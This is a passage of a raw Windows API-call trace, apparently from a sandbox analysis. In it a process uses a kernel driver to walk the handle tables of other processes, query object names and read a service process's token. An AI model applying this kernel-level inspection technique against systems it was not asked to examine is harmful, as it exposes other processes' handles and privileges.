Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.635] PsAcquireProcessExitSynchronization () returned 0x0 [0121.635] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.635] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030f4f20, HandleInformation=0x0) returned 0x0 [0121.635] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.635] PsReleaseProcessExitSynchronization () returned 0x2 [0121.635] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.635] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.635] ObfDereferenceObject (Object=0xfffffa80030f4f20) returned 0x1 [0121.635] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.635] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.635] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.635] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0121.635] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.635] PsAcquireProcessExitSynchronization () returned 0x0 [0121.635] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.635] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030f4690, HandleInformation=0x0) returned 0x0 [0121.635] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.635] PsReleaseProcessExitSynchronization () returned 0x2 [0121.635] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.635] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.635] ObfDereferenceObject (Object=0xfffffa80030f4690) returned 0x1 [0121.635] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.635] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.635] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.635] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.635] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.635] PsAcquireProcessExitSynchronization () returned 0x0 [0121.635] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.636] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030fb4f0, HandleInformation=0x0) returned 0x0 [0121.636] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.636] PsReleaseProcessExitSynchronization () returned 0x2 [0121.636] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.636] ObQueryNameString (in: Object=0xfffffa80030fb4f0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.636] ObfDereferenceObject (Object=0xfffffa80030fb4f0) returned 0x2 [0121.636] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.636] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.636] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.636] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.636] PsAcquireProcessExitSynchronization () returned 0x0 [0121.636] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.636] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030fd470, HandleInformation=0x0) returned 0x0 [0121.636] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.636] PsReleaseProcessExitSynchronization () returned 0x2 [0121.636] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.636] ObQueryNameString (in: Object=0xfffffa80030fd470, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.636] ObfDereferenceObject (Object=0xfffffa80030fd470) returned 0x2 [0121.636] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.636] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.636] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0121.636] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.636] PsAcquireProcessExitSynchronization () returned 0x0 [0121.636] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.636] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030fcd10, HandleInformation=0x0) returned 0x0 [0121.636] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.636] PsReleaseProcessExitSynchronization () returned 0x2 [0121.636] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.636] ObQueryNameString (in: Object=0xfffffa80030fcd10, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.636] ObfDereferenceObject (Object=0xfffffa80030fcd10) returned 0x1 [0121.636] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.636] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.637] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.637] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0121.637] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.637] PsAcquireProcessExitSynchronization () returned 0x0 [0121.637] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.637] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030fca70, HandleInformation=0x0) returned 0x0 [0121.637] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.637] PsReleaseProcessExitSynchronization () returned 0x2 [0121.637] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.637] ObQueryNameString (in: Object=0xfffffa80030fca70, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.637] ObfDereferenceObject (Object=0xfffffa80030fca70) returned 0x2 [0121.637] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.637] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.637] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.637] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0121.637] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.637] PsAcquireProcessExitSynchronization () returned 0x0 [0121.637] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.637] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030fc920, HandleInformation=0x0) returned 0x0 [0121.637] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.637] PsReleaseProcessExitSynchronization () returned 0x2 [0121.637] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.637] ObQueryNameString (in: Object=0xfffffa80030fc920, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.637] ObfDereferenceObject (Object=0xfffffa80030fc920) returned 0x1 [0121.637] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.637] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.637] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.637] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.637] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.637] PsAcquireProcessExitSynchronization () returned 0x0 [0121.637] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.637] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0121.637] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.638] PsReleaseProcessExitSynchronization () returned 0x2 [0121.638] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.638] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.638] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0121.638] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.638] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.638] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.638] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.638] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.638] PsAcquireProcessExitSynchronization () returned 0x0 [0121.638] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.638] ObReferenceObjectByHandle (in: Handle=0x23c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0121.638] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.638] PsReleaseProcessExitSynchronization () returned 0x2 [0121.638] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.638] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.638] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0121.638] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.638] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.638] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2c8) returned 0xc0 [0121.638] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0121.638] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80030fdb30, HandleInformation=0x0) returned 0x0 [0121.638] ObOpenObjectByPointer (in: Object=0xfffffa80030fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000608) returned 0x0 [0121.638] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x102 [0121.638] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000608, DesiredAccess=0x8, TokenHandle=0xfffffa8003522240 | out: TokenHandle=0xfffffa8003522240*=0xc8) returned 0x0 [0121.638] ZwClose (Handle=0xffffffff80000608) returned 0x0 [0121.639] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.639] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0121.639] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0121.640] CloseHandle (hObject=0xc8) returned 1 [0121.640] CloseHandle (hObject=0xc0) returned 1 [0121.640] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.640] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0121.640] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.640] PsAcquireProcessExitSynchronization () returned 0x0 [0121.640] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.641] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003102070, HandleInformation=0x0) returned 0x0 [0121.641] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.641] PsReleaseProcessExitSynchronization () returned 0x2 [0121.641] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.641] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.641] ObfDereferenceObject (Object=0xfffffa8003102070) returned 0x1 [0121.641] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.641] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.641] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.641] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.641] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.641] PsAcquireProcessExitSynchronization () returned 0x0 [0121.641] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.641] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031063b0, HandleInformation=0x0) returned 0x0 [0121.641] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.641] PsReleaseProcessExitSynchronization () returned 0x2 [0121.641] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.641] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.641] ObfDereferenceObject (Object=0xfffffa80031063b0) returned 0x1 [0121.641] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.641] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.641] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.641] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0121.641] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.641] PsAcquireProcessExitSynchronization () returned 0x0 [0121.641] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.641] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800311aa30, HandleInformation=0x0) returned 0x0 [0121.642] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.642] PsReleaseProcessExitSynchronization () returned 0x2 [0121.642] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.642] ObQueryNameString (in: Object=0xfffffa800311aa30, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.642] ObfDereferenceObject (Object=0xfffffa800311aa30) returned 0x2 [0121.642] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.642] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.642] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.642] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0121.642] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.642] PsAcquireProcessExitSynchronization () returned 0x0 [0121.642] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.642] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800311acd0, HandleInformation=0x0) returned 0x0 [0121.642] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.642] PsReleaseProcessExitSynchronization () returned 0x2 [0121.642] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.642] ObQueryNameString (in: Object=0xfffffa800311acd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.642] ObfDereferenceObject (Object=0xfffffa800311acd0) returned 0x1 [0121.642] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.642] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.642] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.642] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0121.642] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.642] PsAcquireProcessExitSynchronization () returned 0x0 [0121.642] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.642] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800311be90, HandleInformation=0x0) returned 0x0 [0121.642] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.643] PsReleaseProcessExitSynchronization () returned 0x2 [0121.643] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.643] ObQueryNameString (in: Object=0xfffffa800311be90, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.643] ObfDereferenceObject (Object=0xfffffa800311be90) returned 0x1 [0121.643] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.643] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.643] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.643] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0121.643] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.643] PsAcquireProcessExitSynchronization () returned 0x0 [0121.643] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.643] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003124d10, HandleInformation=0x0) returned 0x0 [0121.643] KeUnstackDetachProcess 